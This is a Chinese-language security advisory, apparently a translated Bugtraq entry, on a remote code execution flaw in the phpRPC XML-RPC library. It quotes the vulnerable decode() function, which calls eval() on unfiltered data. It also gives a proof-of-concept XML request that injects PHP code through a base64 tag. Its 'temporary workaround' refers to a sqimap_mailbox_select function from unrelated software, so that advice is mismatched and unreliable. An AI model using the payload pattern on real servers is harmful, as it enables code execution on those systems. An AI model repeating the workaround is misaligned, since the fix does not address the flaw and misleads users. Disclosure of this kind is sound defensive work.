安全研究

安全漏洞
phpRPC库远程代码执行漏洞

发布日期:2006-02-24
更新日期:2006-02-27

受影响系统:
Robert Hoffman phpRPC <= 0.7
描述:
BUGTRAQ  ID: 16801

phpRPC是一款简单易用的xmlrpc函数库。

phpRPC函数库中rpc_decoder.php文件的decode()函数没有正确的过滤用户输入,可能导致完全入侵Web Server或泄漏敏感信息。

<*来源:James Bercegay (security@gulftech.org
  
  链接:http://marc.theaimsgroup.com/?l=bugtraq&m=114106005124593&w=2
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

/**
* Tells the decoder to process the xml data
*
* Used internaly but can also be used to send xml data to the decoder
* @param string $data Transforms $data into a php readable array
* @return array Returns an array containing the extracted data
*/
function decode($data) {

$this->parser = xml_parser_create($this->encoding);

    xml_set_object($this->parser, &$this);
    xml_set_element_handler($this->parser, "tag_open", "tag_close");
    xml_set_character_data_handler($this->parser, "cdata");
    xml_parser_set_option($this->parser, XML_OPTION_SKIP_WHITE, 1);
    xml_parser_set_option($this->parser, XML_OPTION_CASE_FOLDING, 1);
    xml_parser_set_option($this->parser, XML_OPTION_TARGET_ENCODING,
$this->encoding);
    xml_parse($this->parser, $data);
    xml_parser_free($this->parser);

if ($this->debug == 1) { $this->dump(); }
eval($this->code);
return $params;
}

在这个例子中变量$this->code是由cdata()函数创建的,但在放在base64标签时没有过滤。

<?xml version="1.0"?>
<methodCall>
<methodName>test.method</methodName>
    <params>
        <param>
        <value><base64>'));phpinfo();exit;
        </param>
    </params>
</methodCall>

上面的xml请求可以执行phpinfo()函数。

建议:
临时解决方法:

* 从$mailbox的sqimap_mailbox_select函数中替换\r和\n。

厂商补丁:

Robert Hoffman
--------------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://sourceforge.net/projects/phprpc/

浏览次数:4263
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障